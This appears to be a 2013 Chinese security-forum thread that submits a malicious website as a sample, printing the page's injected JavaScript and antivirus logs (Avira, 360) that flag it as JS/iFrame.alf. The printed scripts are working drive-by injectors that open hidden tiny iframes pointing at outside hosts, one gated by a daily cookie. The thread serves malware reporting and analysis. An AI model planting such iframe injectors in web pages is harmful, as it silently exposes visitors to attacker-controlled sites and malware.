http://masterjed.free.fr/

显示全部楼层 · 发表于 2013-7-13 20:16:09

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://helpvictoriya.in/main.php?page=99201204d903c23d' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://helpvictoriya.in/main.php?page=99201204d903c23d');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}

复制代码

function zzzfff() {
var zm = document.createElement('iframe');
zm.src = 'http://homohaven.com/wKd7HhVc.php';
zm.style.position = 'absolute';
zm.style.border = '0';
zm.style.height = '1px';
zm.style.width = '1px';
zm.style.left = '1px';
zm.style.top = '1px';
if (!document.getElementById('zm')) {
document.write('<div id=\'zm\'></div>');
document.getElementById('zm').appendChild(zm);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
if (GetCookie('visited_uq') == 55) {} else {
SetCookie('visited_uq', '55', '1', '/');
zzzfff();
}
}

复制代码

Avira

2013/7/13 下午 08:13 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\E84PIVG0\masterjed_free_fr[1].htm'
   包含病毒或有害的程式 'JS/iFrame.alf' [virus]
   已採取動作：
   檔案會移動至 '5407d4ed.qua' 名稱底下的隔離區目錄。.

2013/7/13 下午 08:13 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 759
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/7/13 下午 08:13 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\E84PIVG0\masterjed_free_fr[1].htm 中
   偵測到病毒或有害的程式 'JS/iFrame.alf [virus]'
   執行的動作：傳輸至掃描程式

2013/7/13 下午 08:12 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\E84PIVG0\masterjed_free_fr[1].htm 中
   偵測到病毒或有害的程式 'JS/iFrame.alf [virus]'
   執行的動作：拒絕存取

2013/7/13 下午 08:12 [Web Protection] 發現惡意程式碼
   從 URL "http://masterjed.free.fr/" 存取資料時，
   發現病毒或有害的程式 'JS/iFrame.alf' [virus]。
   已採取動作：已略過

显示全部楼层 · 发表于 2013-7-13 23:11:48

360杀毒实时防护日志

时间事件病毒名称处理结果文件
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2013-07-13 23:10:50 发现安全威胁恶意软件(JS.iFrame.alf) 已删除此文件，如果您发现误删，可从隔离区恢复此文件。 C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\9XNCYLGZ\masterjed_free_fr[1].htm

[已鉴定] http://masterjed.free.fr/